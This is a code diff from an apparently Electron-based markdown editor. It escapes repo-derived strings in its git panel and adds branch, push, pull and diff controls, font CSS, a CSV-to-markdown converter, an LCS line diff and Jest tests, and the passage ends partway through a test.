-function renderGitPanel(container, { gitStatus, _gitDiff, gitStage, gitCommit, gitLog }) {
+// Escape repo-derived strings (branch/file names, commit messages, git stderr) before
 // interpolating them into innerHTML. Quotes are included so attribute contexts
 // (data-file, data-branch) cannot be broken out of.
 function escapeHtml(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
 }
 function renderGitPanel(
  container,
  { gitStatus, gitDiff, gitStage, gitCommit, gitLog, gitBranches, gitCheckout, gitPush, gitPull }
 ) {
  container.innerHTML = `
        <div class="git-panel">
            <div class="git-section">
                <h4 class="git-section-title">Branches</h4>
                <div class="git-branches" id="git-branches">
                    <p class="git-loading">Loading...</p>
                </div>
                <div class="git-branch-new">
                    <input type="text" class="git-branch-input" id="git-branch-input" placeholder="New branch name..." />
                    <button class="git-branch-create-btn" id="git-branch-create-btn">Create</button>
                </div>
                <div class="git-remote-actions">
                    <button class="git-push-btn" id="git-push-btn">Push</button>
                    <button class="git-pull-btn" id="git-pull-btn">Pull</button>
                </div>
                <p class="git-remote-status" id="git-remote-status"></p>
            </div>
            <div class="git-section">
                <h4 class="git-section-title">Changes</h4>
                <div class="git-changes" id="git-changes">
                    <p class="git-loading">Loading...</p>
                </div>
                <pre class="git-diff-view" id="git-diff-view" style="display:none;"></pre>
            </div>
            <div class="git-section">
                <h4 class="git-section-title">Commit</h4>
@@ -20,6 +51,7 @@ function renderGitPanel(container, { gitStatus, _gitDiff, gitStage, gitCommit, g
    `;
  loadGitStatus();
  loadGitBranches();
  async function loadGitStatus() {
    const status = await gitStatus();
@@ -27,7 +59,7 @@ function renderGitPanel(container, { gitStatus, _gitDiff, gitStage, gitCommit, g
    if (!status || !changesEl) return;
    if (status.error) {
-      changesEl.innerHTML = `<p class="git-info">${status.error}</p>`;
+      changesEl.innerHTML = `<p class="git-info">${escapeHtml(status.error)}</p>`;
      return;
    }
@@ -45,10 +77,11 @@ function renderGitPanel(container, { gitStatus, _gitDiff, gitStage, gitCommit, g
      changesEl.innerHTML = files
        .map(
          (f) => `
-                <div class="git-file" data-file="${f.file}">
+                <div class="git-file" data-file="${escapeHtml(f.file)}">
                    <span class="git-file-status" style="color:${f.color}">${f.status}</span>
-                    <span class="git-file-name">${f.file}</span>
+                    <span class="git-file-name">${escapeHtml(f.file)}</span>
-                    <button class="git-stage-btn" data-file="${f.file}" title="Stage file">+</button>
+                    <button class="git-diff-btn" data-file="${escapeHtml(f.file)}" title="View diff">diff</button>
                    <button class="git-stage-btn" data-file="${escapeHtml(f.file)}" title="Stage file">+</button>
                </div>
            `
        )
@@ -61,6 +94,13 @@ function renderGitPanel(container, { gitStatus, _gitDiff, gitStage, gitCommit, g
          loadGitStatus();
        });
      });
      changesEl.querySelectorAll('.git-diff-btn').forEach((btn) => {
        btn.addEventListener('click', async (e) => {
          e.stopPropagation();
          await showDiff(btn.dataset.file);
        });
      });
    }
    // Load log
@@ -73,8 +113,8 @@ function renderGitPanel(container, { gitStatus, _gitDiff, gitStage, gitCommit, g
          .map(
            (entry) => `
                <div class="git-log-entry">
-                    <div class="git-log-msg">${entry.message}</div>
+                    <div class="git-log-msg">${escapeHtml(entry.message)}</div>
-                    <div class="git-log-meta">${entry.date?.substring(0, 10) || ''} &middot; ${entry.author_name || ''}</div>
+                    <div class="git-log-meta">${entry.date?.substring(0, 10) || ''} &middot; ${escapeHtml(entry.author_name || '')}</div>
                </div>
            `
          )
@@ -82,6 +122,60 @@ function renderGitPanel(container, { gitStatus, _gitDiff, gitStage, gitCommit, g
    }
  }
  async function showDiff(file) {
    const diffView = document.getElementById('git-diff-view');
    if (!diffView || !gitDiff) return;
    const result = await gitDiff(file);
    diffView.textContent =
      result && result.error ? result.error : result && result.length ? result : 'No changes';
    diffView.style.display = 'block';
  }
  async function loadGitBranches() {
    const branchesEl = document.getElementById('git-branches');
    if (!gitBranches || !branchesEl) return;
    const result = await gitBranches();
    if (!result) return;
    if (result.error) {
      branchesEl.innerHTML = `<p class="git-info">${escapeHtml(result.error)}</p>`;
      return;
    }
    const names = result.all || [];
    const current = result.current;
    if (names.length === 0) {
      branchesEl.innerHTML = '<p class="git-info">No branches</p>';
      return;
    }
    branchesEl.innerHTML = names
      .map(
        (name) => `
                <div class="git-branch-item${name === current ? ' git-branch-current' : ''}" data-branch="${escapeHtml(name)}">
                    <span class="git-branch-name">${name === current ? '&#9679; ' : ''}${escapeHtml(name)}</span>
                    ${name === current ? '' : `<button class="git-checkout-btn" data-branch="${escapeHtml(name)}" title="Checkout branch">checkout</button>`}
                </div>
            `
      )
      .join('');
    branchesEl.querySelectorAll('.git-checkout-btn').forEach((btn) => {
      btn.addEventListener('click', async (e) => {
        e.stopPropagation();
        const result = await gitCheckout(btn.dataset.branch, false);
        if (result && result.error) {
          const statusEl = document.getElementById('git-remote-status');
          if (statusEl) statusEl.textContent = `Checkout failed: ${result.error}`;
        }
        loadGitBranches();
        loadGitStatus();
      });
    });
  }
  document.getElementById('git-commit-btn')?.addEventListener('click', async () => {
    const msg = document.getElementById('git-commit-msg')?.value?.trim();
    if (!msg) return;
@@ -89,6 +183,44 @@ function renderGitPanel(container, { gitStatus, _gitDiff, gitStage, gitCommit, g
    document.getElementById('git-commit-msg').value = '';
    loadGitStatus();
  });
  document.getElementById('git-branch-create-btn')?.addEventListener('click', async () => {
    const input = document.getElementById('git-branch-input');
    const name = input?.value?.trim();
    if (!name || !gitCheckout) return;
    const result = await gitCheckout(name, true);
    const statusEl = document.getElementById('git-remote-status');
    if (result && result.error) {
      if (statusEl) statusEl.textContent = `Create branch failed: ${result.error}`;
    } else {
      input.value = '';
      if (statusEl) statusEl.textContent = '';
    }
    loadGitBranches();
    loadGitStatus();
  });
  document.getElementById('git-push-btn')?.addEventListener('click', async () => {
    const statusEl = document.getElementById('git-remote-status');
    if (!gitPush) return;
    const result = await gitPush();
    if (statusEl) {
      statusEl.textContent =
        result && result.error ? `Push failed: ${result.error}` : 'Push complete';
    }
  });
  document.getElementById('git-pull-btn')?.addEventListener('click', async () => {
    const statusEl = document.getElementById('git-remote-status');
    if (!gitPull) return;
    const result = await gitPull();
    if (statusEl) {
      statusEl.textContent =
        result && result.error ? `Pull failed: ${result.error}` : 'Pull complete';
    }
    loadGitStatus();
    loadGitBranches();
  });
 }
 module.exports = { renderGitPanel };
@@ -982,3 +982,20 @@ body.theme-concrete-warm .line-numbers {
  background: #f0ebe4;
  color: #9a9696;
 }
 /* Monospace font + ligature toggles — driven by body classes from renderer */
 body.mono-jetbrains {
  --font-mono-active: 'JetBrains Mono', monospace;
 }
 body.mono-fira {
  --font-mono-active: 'Fira Code', monospace;
 }
 body.mono-ligatures-on {
  --font-mono-feature: normal;
 }
 body.mono-ligatures-off {
  --font-mono-feature: 'liga' 0, 'calt' 0, 'dlig' 0;
 }
@@ -307,7 +307,7 @@ body {
  width: 100%;
  height: 100%;
  padding: 24px;
-  font-family: 'JetBrains Mono', 'Fira Code', 'SF Mono', Monaco, 'Courier New', monospace;
+  font-family: var(--font-mono-active);
  font-size: 15px;
  line-height: 1.7;
  border: none;
@@ -324,7 +324,7 @@ body {
 }
 .codemirror-container .cm-editor {
  height: 100%;
-  font-family: 'JetBrains Mono', 'Fira Code', 'Consolas', monospace;
+  font-family: var(--font-mono-active);
  font-size: 14px;
 }
 .codemirror-container .cm-scroller {
@@ -393,7 +393,7 @@ body {
  background: rgba(175, 184, 193, 0.2);
  border: 1px solid #e1e4e8;
  border-radius: 6px;
-  font-family: 'JetBrains Mono', 'Fira Code', monospace;
+  font-family: var(--font-mono-active);
  font-weight: 500;
 }
@@ -764,7 +764,7 @@ body {
  color: var(--gray-600);
  padding: 2px 0;
  margin-left: 16px;
-  font-family: 'JetBrains Mono', monospace;
+  font-family: var(--font-mono-active);
  font-weight: 500;
 }
@@ -775,7 +775,7 @@ body {
  background: rgba(255, 255, 255, 0.3);
  backdrop-filter: blur(8px);
  border-right: 1px solid #e1e4e8;
-  font-family: 'JetBrains Mono', monospace;
+  font-family: var(--font-mono-active);
  font-size: 13px;
  line-height: 1.7;
  color: var(--gray-500);
@@ -2217,7 +2217,7 @@ body.theme-rosepine-dawn .batch-dialog-footer {
  background: #f3f4f6;
  padding: 2px 8px;
  border-radius: 4px;
-  font-family: 'JetBrains Mono', monospace;
+  font-family: var(--font-mono-active);
 }
 /* Dark theme command palette */
@@ -2252,7 +2252,7 @@ body[class*='dark'] .command-shortcut {
  text-overflow: ellipsis;
  flex-shrink: 0;
  background: var(--gray-50, #f9fafb);
-  font-family: 'JetBrains Mono', monospace;
+  font-family: var(--font-mono-active);
 }
 body[class*='dark'] .breadcrumb-bar {
  background: #1a1a1a;
@@ -2757,3 +2757,12 @@ body[class*='dark'] .btn-reorder-right {
  border-color: var(--gray-600);
  color: var(--gray-200);
 }
 /* Monospace ligature control — driven by body.mono-ligatures-on/off */
 .editor-textarea,
 .preview-content code,
 .preview-content pre,
 .codemirror-container .cm-editor,
 .cm-editor {
  font-feature-settings: var(--font-mono-feature);
 }
@@ -307,6 +307,101 @@ body[class*='dark'] .panel-list-item-desc {
  font-size: 13px;
  color: var(--gray-400);
 }
 .git-diff-btn {
  border: none;
  background: var(--gray-200);
  border-radius: 4px;
  cursor: pointer;
  font-size: 11px;
  padding: 2px 6px;
 }
 .git-diff-view {
  margin-top: 8px;
  max-height: 240px;
  overflow: auto;
  padding: 8px;
  background: var(--gray-100, #f3f4f6);
  border-radius: 6px;
  font-size: 12px;
  white-space: pre-wrap;
  word-break: break-word;
 }
 .git-branch-item {
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 4px 6px;
  border-radius: 4px;
  font-size: 13px;
  gap: 6px;
 }
 .git-branch-item:hover {
  background: var(--gray-100, #f3f4f6);
 }
 .git-branch-current {
  font-weight: 600;
 }
 .git-branch-name {
  flex: 1;
  overflow: hidden;
  text-overflow: ellipsis;
  white-space: nowrap;
 }
 .git-checkout-btn {
  border: none;
  background: var(--gray-200);
  border-radius: 4px;
  cursor: pointer;
  font-size: 11px;
  padding: 2px 6px;
 }
 .git-branch-new {
  display: flex;
  gap: 4px;
  margin-top: 8px;
 }
 .git-branch-input {
  flex: 1;
  padding: 6px 8px;
  border: 1px solid var(--gray-300);
  border-radius: 6px;
  font-size: 13px;
  box-sizing: border-box;
 }
 .git-branch-create-btn {
  border: none;
  background: var(--gray-200);
  border-radius: 6px;
  cursor: pointer;
  font-size: 12px;
  padding: 6px 8px;
 }
 .git-remote-actions {
  display: flex;
  gap: 8px;
  margin-top: 8px;
 }
 .git-push-btn,
 .git-pull-btn {
  flex: 1;
  padding: 8px;
  background: var(--primary-dark, #5661b3);
  color: white;
  border: none;
  border-radius: 6px;
  font-size: 13px;
  cursor: pointer;
 }
 .git-push-btn:hover,
 .git-pull-btn:hover {
  opacity: 0.9;
 }
 .git-remote-status {
  font-size: 12px;
  color: var(--gray-500);
  margin-top: 6px;
  min-height: 14px;
 }
 /* Snippets Panel */
 .snippets-toolbar {
@@ -397,11 +492,16 @@ body[class*='dark'] .snippet-delete {
  border-color: #444;
  color: #ccc;
 }
-body[class*='dark'] .git-commit-input {
+body[class*='dark'] .git-commit-input,
 body[class*='dark'] .git-branch-input {
  background: #2d2d2d;
  border-color: #444;
  color: #ccc;
 }
 body[class*='dark'] .git-diff-view {
  background: #2d2d2d;
  color: #ccc;
 }
 body[class*='dark'] .snippet-item {
  border-color: #444;
 }
@@ -409,7 +509,8 @@ body[class*='dark'] .snippet-preview {
  background: #2d2d2d;
 }
 body[class*='dark'] .tree-item:hover,
-body[class*='dark'] .git-file:hover {
+body[class*='dark'] .git-file:hover,
 body[class*='dark'] .git-branch-item:hover {
  background: #333;
 }
@@ -1491,29 +1491,26 @@ body.theme-github .line-numbers {
  color: #586069;
 }
-/* Export Profiles Styles */
+/* Export Presets Styles */
-.export-profiles {
+.export-presets {
  border-bottom: 1px solid #ddd;
  padding-bottom: 15px;
  margin-bottom: 15px;
 }
-.profile-controls {
+.preset-controls {
  display: flex;
  gap: 8px;
  align-items: center;
  margin-top: 8px;
 }
-.profile-controls select {
+.preset-dropdown {
  flex: 1;
-  padding: 8px;
+  position: relative;
  border: 1px solid #ddd;
  border-radius: 4px;
  font-size: 14px;
 }
-.profile-controls button {
+.preset-dropdown button {
  padding: 8px 12px;
  border: 1px solid #ddd;
  border-radius: 4px;
@@ -1523,7 +1520,98 @@ body.theme-github .line-numbers {
  transition: all 0.2s;
 }
-.profile-controls button:hover {
+.preset-dropdown button:hover {
  background: #e8e8e8;
 }
 #preset-dropdown-toggle {
  width: 100%;
  text-align: left;
 }
 .preset-dropdown-list {
  position: absolute;
  top: calc(100% + 4px);
  left: 0;
  right: 0;
  max-height: 220px;
  overflow-y: auto;
  background: #fff;
  border: 1px solid #ddd;
  border-radius: 4px;
  box-shadow: 0 4px 12px rgba(0, 0, 0, 0.12);
  z-index: 10;
 }
 .preset-dropdown-list.hidden {
  display: none;
 }
 .preset-row {
  display: flex;
  align-items: center;
  gap: 6px;
  padding: 4px 8px;
 }
 .preset-row.selected {
  background: #eef4fb;
 }
 .preset-row:hover {
  background: #f0f0f0;
 }
 .preset-row-select {
  flex: 1;
  border: none;
  background: none;
  text-align: left;
  padding: 6px 4px;
  cursor: pointer;
  font-size: 13px;
 }
 .preset-format {
  font-size: 11px;
  text-transform: uppercase;
  color: #586069;
  border: 1px solid #ddd;
  border-radius: 3px;
  padding: 1px 4px;
 }
 .preset-delete {
  border: none;
  background: none;
  color: #586069;
  cursor: pointer;
  font-size: 15px;
  line-height: 1;
  padding: 4px 6px;
 }
 .preset-delete:hover {
  color: #cb2431;
 }
 .preset-empty {
  padding: 8px;
  font-size: 13px;
  color: #586069;
 }
 #save-preset-btn {
  padding: 8px 12px;
  border: 1px solid #ddd;
  border-radius: 4px;
  background: #f5f5f5;
  cursor: pointer;
  font-size: 13px;
  transition: all 0.2s;
 }
 #save-preset-btn:hover {
  background: #e8e8e8;
 }
@@ -3705,6 +3793,117 @@ body[data-theme='dark'] .field-option:hover {
  background: #0d6efd;
  color: white;
 }
 /* ================================
   Word Template Dialog Styles
   ================================ */
 .wt-status-section {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 15px;
  margin-bottom: 20px;
  padding: 15px;
  background: var(--bg-secondary, #f5f5f5);
  border-radius: 8px;
  border: 1px solid var(--border-color, #e0e0e0);
 }
 .wt-status {
  display: flex;
  align-items: center;
  gap: 12px;
  min-width: 0;
 }
 .wt-status-icon {
  font-size: 28px;
  line-height: 1;
  flex-shrink: 0;
 }
 .wt-status-text {
  min-width: 0;
 }
 .wt-status-title {
  font-weight: 600;
  color: var(--text-primary, #333);
  font-size: 14px;
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
 }
 .wt-status-detail {
  font-size: 12px;
  color: var(--text-secondary, #666);
  margin-top: 2px;
 }
 .wt-status-missing .wt-status-detail {
  color: var(--danger-color, #dc3545);
 }
 .wt-status-selected .wt-status-detail {
  color: var(--accent-color, #007bff);
 }
 .wt-status-actions {
  display: flex;
  flex-shrink: 0;
 }
 .wt-startpage-section {
  padding: 15px;
  background: var(--bg-tertiary, #fafafa);
  border-radius: 8px;
  border: 1px solid var(--border-color, #e0e0e0);
 }
 .wt-startpage-section label {
  display: block;
  font-weight: 600;
  margin-bottom: 8px;
  color: var(--text-secondary, #666);
  font-size: 13px;
 }
 .wt-startpage-section input[type='number'] {
  width: 100px;
  padding: 8px 10px;
  border: 1px solid var(--border-color, #ccc);
  border-radius: 4px;
  font-size: 14px;
  background: var(--input-bg, white);
  color: var(--text-primary, #333);
 }
 .wt-startpage-section input[type='number']:focus {
  outline: none;
  border-color: var(--accent-color, #007bff);
  box-shadow: 0 0 0 2px rgba(0, 123, 255, 0.1);
 }
 .wt-help {
  margin: 10px 0 0 0;
  font-size: 12px;
  color: var(--text-secondary, #666);
 }
 body[data-theme='dark'] .wt-status-section,
 body[data-theme='dark'] .wt-startpage-section {
  background: #252525;
  border-color: #404040;
 }
 body[data-theme='dark'] .wt-startpage-section input[type='number'] {
  background: #2d2d2d;
  color: #e0e0e0;
  border-color: #404040;
 }
 /* Mermaid Diagram Styles */
 .mermaid {
  background: #f9f9f9;
@@ -210,6 +210,59 @@
  cursor: pointer;
 }
 /* ============================================
 * Document Compare Diff View
 * ============================================ */
 .diff-view {
  font-family: var(--font-mono, 'JetBrains Mono', monospace);
  font-size: var(--text-sm, 0.875rem);
  line-height: var(--leading-normal, 1.5);
  border: 1px solid hsl(var(--border, 214.3 31.8% 91.4%));
  border-radius: var(--radius, 0.5rem);
  overflow: auto;
  max-height: 50vh;
 }
 .diff-row {
  display: flex;
  align-items: flex-start;
  padding: 0 var(--spacing-2, 0.5rem);
  white-space: pre-wrap;
  word-break: break-word;
 }
 .diff-marker {
  flex: none;
  width: 1.25em;
  user-select: none;
 }
 .diff-text {
  flex: 1;
  min-width: 0;
 }
 .diff-added {
  background: hsl(var(--diff-added-bg, 142 76% 94%));
  color: hsl(var(--diff-added-fg, 142 76% 24%));
 }
 .diff-removed {
  background: hsl(var(--diff-removed-bg, 0 84% 96%));
  color: hsl(var(--diff-removed-fg, 0 74% 30%));
 }
 .diff-context {
  color: hsl(var(--foreground, 222.2 84% 4.9%));
 }
 .diff-hunk {
  color: hsl(var(--diff-hunk-fg, 215 16% 47%));
  background: hsl(var(--muted, 210 40% 96.1%));
  font-weight: var(--font-semibold, 600);
 }
 /* ============================================
 * Size Variants
 * ============================================ */
@@ -61,6 +61,13 @@
  --info: 199 89% 48%;
  --info-foreground: 210 40% 98%;
  /* Diff - added/removed/hunk line colors (Document Compare, git-style) */
  --diff-added-bg: 142 76% 94%;
  --diff-added-fg: 142 76% 24%;
  --diff-removed-bg: 0 84% 96%;
  --diff-removed-fg: 0 74% 30%;
  --diff-hunk-fg: 215 16% 47%;
  /* Border and input */
  --border: 214.3 31.8% 91.4%;
  --input: 214.3 31.8% 91.4%;
@@ -95,6 +102,8 @@
  --font-sans: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
  --font-mono: 'JetBrains Mono', 'Fira Code', 'SF Mono', Monaco, 'Courier New', monospace;
  --font-mono-active: 'JetBrains Mono', monospace;
  --font-mono-feature: 'liga' 0, 'calt' 0, 'dlig' 0;
  --text-xs: 0.75rem;
  --text-sm: 0.875rem;
@@ -193,6 +202,13 @@
  --info: 199 89% 38%;
  --info-foreground: 210 40% 98%;
  /* Diff - darker backgrounds / lighter text for dark mode */
  --diff-added-bg: 142 45% 16%;
  --diff-added-fg: 142 60% 66%;
  --diff-removed-bg: 0 45% 18%;
  --diff-removed-fg: 0 70% 70%;
  --diff-hunk-fg: 215 20% 65%;
  /* Border and input */
  --border: 217.2 32.6% 17.5%;
  --input: 217.2 32.6% 17.5%;
@@ -1,6 +1,6 @@
 /**
 * ModalManager - Unified modal system with accessibility support
- * @version 4.4.4
+ * @version 4.5.0
 */
 class ModalManager {
  #modal;
@@ -0,0 +1,73 @@
 /**
 * CSV-to-markdown-table converter
 * Pure client-side conversion for the editor toolbar action — no Pandoc round-trip.
 * Parses basic CSV: comma-separated fields, optional double-quote wrapping that may
 * contain commas (with "" as an escaped quote), ragged rows padded with empty cells.
 */
 /**
 * Parse a single CSV line into field values.
 * @param {string} line - One CSV line (no line breaks).
 * @returns {string[]} Field values for the line.
 */
 function parseCsvLine(line) {
  const cells = [];
  let current = '';
  let inQuotes = false;
  for (let i = 0; i < line.length; i++) {
    const char = line[i];
    if (inQuotes) {
      if (char === '"') {
        if (line[i + 1] === '"') {
          current += '"';
          i++;
        } else {
          inQuotes = false;
        }
      } else {
        current += char;
      }
    } else if (char === '"') {
      inQuotes = true;
    } else if (char === ',') {
      cells.push(current);
      current = '';
    } else {
      current += char;
    }
  }
  cells.push(current);
  return cells;
 }
 /**
 * Convert CSV text into a GitHub-flavored markdown table.
 * The first non-empty line becomes the header row; ragged rows are padded with
 * empty cells; pipes inside cells are escaped so the table stays valid.
 * @param {string} csvText - Raw CSV text.
 * @returns {string} Markdown table, or '' when there is nothing to convert.
 */
 function csvToMarkdownTable(csvText) {
  if (typeof csvText !== 'string' || csvText.trim().length === 0) return '';
  const rows = csvText
    .split(/\r?\n/)
    .filter((line) => line.trim().length > 0)
    .map((line) => parseCsvLine(line));
  if (rows.length === 0) return '';
  const columnCount = Math.max(...rows.map((row) => row.length));
  const paddedRows = rows.map((row) => {
    const cells = row.map((cell) => cell.trim().replace(/\|/g, '\\|'));
    while (cells.length < columnCount) cells.push('');
    return cells;
  });
  const formatRow = (cells) => `| ${cells.join(' | ')} |`;
  const separator = `|${'---|'.repeat(columnCount)}`;
  const [header, ...dataRows] = paddedRows;
  return [formatRow(header), separator, ...dataRows.map(formatRow)].join('\n');
 }
 module.exports = { csvToMarkdownTable, parseCsvLine };
@@ -0,0 +1,30 @@
 /**
 * File-input path resolution for Electron 41.
 *
 * `File.path` was removed in Electron 32, so a plain `<input type="file">`
 * picker can no longer read the chosen file's absolute path directly. The
 * replacement is `webUtils.getPathForFile(file)`, exposed to renderers as
 * `window.electronAPI.getFilePath` (by src/preload.js in preload-loaded
 * windows, and by the fallback shim in src/renderer.js for the main window,
 * which does not load the preload script).
 *
 * @module utils/file-path
 */
 /**
 * Resolve a File object chosen via `<input type="file">` to its absolute path.
 * Falls back to `file.path` when the electronAPI helper is absent
 * (Electron < 32, or jsdom tests without the bridge).
 *
 * @param {File} file - File object from a file input's files list
 * @returns {string | undefined} Absolute filesystem path when resolvable
 */
 function getFilePath(file) {
  const api = typeof window !== 'undefined' ? window.electronAPI : undefined;
  if (api && typeof api.getFilePath === 'function') {
    return api.getFilePath(file);
  }
  return file && file.path;
 }
 module.exports = { getFilePath };
@@ -0,0 +1,58 @@
 /**
 * Minimal LCS-based line diff for the Document Compare dialog.
 * Textbook dynamic-programming formulation — the app has no diff library and
 * document-sized inputs keep the (n+1) x (m+1) table affordable.
 */
 function splitLines(text) {
  if (typeof text !== 'string' || text === '') return [];
  const lines = text.split(/\r?\n/);
  // Editor convention: "a\n" is one line, not a line plus an empty one — drop the
  // trailing split artifact so purely trailing-newline differences stay invisible.
  if (lines.length > 1 && lines[lines.length - 1] === '') lines.pop();
  return lines;
 }
 /**
 * Compare two texts line by line.
 * @param {string} oldText - Original text.
 * @param {string} newText - Revised text.
 * @returns {Array<{type: 'added'|'removed'|'unchanged', text: string}>} Edit script in
 *   reading order; within a change block, removals are emitted before additions.
 */
 function computeLineDiff(oldText, newText) {
  const a = splitLines(oldText);
  const b = splitLines(newText);
  const n = a.length;
  const m = b.length;
  // lcs[i][j] = length of the longest common subsequence of a[i..] and b[j..]
  const lcs = Array.from({ length: n + 1 }, () => new Array(m + 1).fill(0));
  for (let i = n - 1; i >= 0; i--) {
    for (let j = m - 1; j >= 0; j--) {
      lcs[i][j] = a[i] === b[j] ? lcs[i + 1][j + 1] + 1 : Math.max(lcs[i + 1][j], lcs[i][j + 1]);
    }
  }
  const result = [];
  let i = 0;
  let j = 0;
  while (i < n && j < m) {
    if (a[i] === b[j]) {
      result.push({ type: 'unchanged', text: a[i] });
      i++;
      j++;
    } else if (lcs[i + 1][j] >= lcs[i][j + 1]) {
      result.push({ type: 'removed', text: a[i] });
      i++;
    } else {
      result.push({ type: 'added', text: b[j] });
      j++;
    }
  }
  while (i < n) result.push({ type: 'removed', text: a[i++] });
  while (j < m) result.push({ type: 'added', text: b[j++] });
  return result;
 }
 module.exports = { computeLineDiff };
@@ -0,0 +1,63 @@
 /**
 * Tests for the CSV-to-markdown-table converter
 * Covers: simple CSV, quoted fields containing commas, ragged rows, empty input
 */
 const { csvToMarkdownTable } = require('../src/utils/csv-to-markdown-table');
 describe('csvToMarkdownTable', () => {
  it('converts simple CSV into a header, separator, and data rows', () => {
    const csv = 'Name,Role,Team\nAlice,Engineer,Platform\nBob,Designer,Brand';
    expect(csvToMarkdownTable(csv)).toBe(
      '| Name | Role | Team |\n' +
        '|---|---|---|\n' +
        '| Alice | Engineer | Platform |\n' +
        '| Bob | Designer | Brand |'
    );
  });
  it('keeps quoted fields containing commas as single cells', () => {
    const csv = 'Person,Role\n"Smith, John",Engineer\n"Alice ""AJ"" Jones","Dev, Ops"';
    expect(csvToMarkdownTable(csv)).toBe(
      '| Person | Role |\n' +
        '|---|---|\n' +
        '| Smith, John | Engineer |\n' +
        '| Alice "AJ" Jones | Dev, Ops |'
    );
  });
  it('pads ragged rows with empty cells up to the widest row', () => {
    const csv = 'Name,Age,City\nAlice,30\nBob,25,NYC';
    expect(csvToMarkdownTable(csv)).toBe(
      '| Name | Age | City |\n' + '|---|---|---|\n' + '| Alice | 30 |  |\n' + '| Bob | 25 | NYC |'
    );
  });
  it('pads the header too when a data row is wider', () => {
    const csv = 'Name\nAlice,30';
    expect(csvToMarkdownTable(csv)).toBe('| Name |  |\n|---|---|\n| Alice | 30 |');
  });
  it('returns an empty string for empty or whitespace-only input', () => {
    expect(csvToMarkdownTable('')).toBe('');
    expect(csvToMarkdownTable('   \n  \n\t')).toBe('');
  });
  it('returns an empty string for non-string input', () => {
    expect(csvToMarkdownTable(null)).toBe('');
    expect(csvToMarkdownTable(undefined)).toBe('');
  });
  it('skips blank lines between rows and handles CRLF line endings', () => {
    const csv = 'Name,Age\r\n\r\nAlice,30\r\n';
    expect(csvToMarkdownTable(csv)).toBe('| Name | Age |\n|---|---|\n| Alice | 30 |');
  });
  it('escapes pipes inside cells so the table stays valid', () => {
    expect(csvToMarkdownTable('a|b,c')).toBe('| a\\|b | c |\n|---|---|');
  });
  it('renders a header-only table when the CSV has a single row', () => {
    expect(csvToMarkdownTable('a,b,c')).toBe('| a | b | c |\n|---|---|---|');
  });
 });
@@ -0,0 +1,181 @@
 /**
 * Tests for the Document Compare dialog (local two-file diff and git-HEAD diff).
 * Exercises the real dialog DOM in jsdom with the electron IPC surface mocked,
 * following the jest.mock('electron') pattern in monospace-font-config.test.js.
 */
 jest.mock('electron', () => ({
  ipcRenderer: {
    invoke: jest.fn(),
    send: jest.fn(),
    on: jest.fn(),
    once: jest.fn(),
    removeAllListeners: jest.fn(),
  },
 }));
 require('../src/utils/ModalManager'); // sets window.ModalManager for the dialog
 const { ipcRenderer } = require('electron');
 const { showDocumentCompareDialog } = require('../src/renderer/document-compare-dialog');
 const flush = () => new Promise((resolve) => setTimeout(resolve, 20));
 function openDialog(filePath = null) {
  showDocumentCompareDialog({ filePath });
 }
 function clickCompare() {
  document.getElementById('document-compare-run').click();
 }
 function resultRows() {
  return Array.from(document.querySelectorAll('#compare-result .diff-row'));
 }
 function statusText() {
  return document.getElementById('compare-status-message').textContent;
 }
 describe('Document Compare dialog', () => {
  beforeEach(() => {
    ipcRenderer.invoke.mockReset();
    openDialog('/notes/report.md');
  });
  describe('local two-file mode', () => {
    it('renders added, removed, and unchanged rows from the line diff', async () => {
      ipcRenderer.invoke.mockImplementation((channel, filePath) => {
        if (channel !== 'read-file') return {};
        if (filePath === '/notes/old.md') return '# Title\nold line\nshared tail';
        if (filePath === '/notes/new.md') return '# Title\nnew line\nshared tail';
        throw new Error(`unexpected path ${filePath}`);
      });
      document.getElementById('compare-file-a-input').value = '/notes/old.md';
      document.getElementById('compare-file-b-input').value = '/notes/new.md';
      clickCompare();
      await flush();
      const rows = resultRows();
      expect(rows).toHaveLength(4);
      expect(rows[0].className).toBe('diff-row diff-context');
      expect(rows[1].className).toBe('diff-row diff-removed');
      expect(rows[1].textContent).toContain('old line');
      expect(rows[2].className).toBe('diff-row diff-added');
      expect(rows[2].textContent).toContain('new line');
      expect(rows[3].className).toBe('diff-row diff-context');
      expect(statusText()).toBe('1 line(s) added, 1 line(s) removed.');
    });
    it('reports identical files without rendering a diff view', async () => {
      ipcRenderer.invoke.mockImplementation(() => 'same\ncontent');
      document.getElementById('compare-file-a-input').value = '/a.md';
      document.getElementById('compare-file-b-input').value = '/b.md';
      clickCompare();
      await flush();
      expect(statusText()).toBe('Files are identical.');
      expect(document.getElementById('compare-result').classList.contains('hidden')).toBe(true);
    });
    it('warns when one of the two files has not been chosen', async () => {
      document.getElementById('compare-file-a-input').value = '/a.md';
      document.getElementById('compare-file-b-input').value = '';
      clickCompare();
      await flush();
      expect(statusText()).toBe('Choose both files to compare.');
      expect(ipcRenderer.invoke).not.toHaveBeenCalledWith('read-file', expect.anything());
    });
    it('shows a warning when a file cannot be read', async () => {
      ipcRenderer.invoke.mockRejectedValue(new Error('Invalid file path'));
      document.getElementById('compare-file-a-input').value = '/a.md';
      document.getElementById('compare-file-b-input').value = '/b.md';
      clickCompare();
      await flush();
      expect(statusText()).toContain('Error reading file');
    });
  });
  describe('git HEAD mode', () => {
    function selectGitMode() {
      const modeSelect = document.getElementById('compare-mode-select');
      modeSelect.value = 'git';
      modeSelect.dispatchEvent(new Event('change'));
    }
    it('renders git raw diff text verbatim, colored by leading character', async () => {
      ipcRenderer.invoke.mockImplementation((channel) => {
        if (channel === 'git-status') return { current: 'master', files: [] };
        if (channel === 'git-diff') {
          return 'diff --git a/report.md b/report.md\n@@ -1,2 +1,2 @@\n context\n-old line\n+new line';
        }
        return {};
      });
      await flush(); // git-status availability check
      selectGitMode();
      clickCompare();
      await flush();
      const rows = resultRows();
      expect(rows).toHaveLength(5);
      expect(rows[0].className).toBe('diff-row diff-context');
      expect(rows[1].className).toBe('diff-row diff-hunk');
      expect(rows[2].className).toBe('diff-row diff-context');
      expect(rows[3].className).toBe('diff-row diff-removed');
      expect(rows[3].textContent).toBe('-old line');
      expect(rows[4].className).toBe('diff-row diff-added');
      expect(rows[4].textContent).toBe('+new line');
